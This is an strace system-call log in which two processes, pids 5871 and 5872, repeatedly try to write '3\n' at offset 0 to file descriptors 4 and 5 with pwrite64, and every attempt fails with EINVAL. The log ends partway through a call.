[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
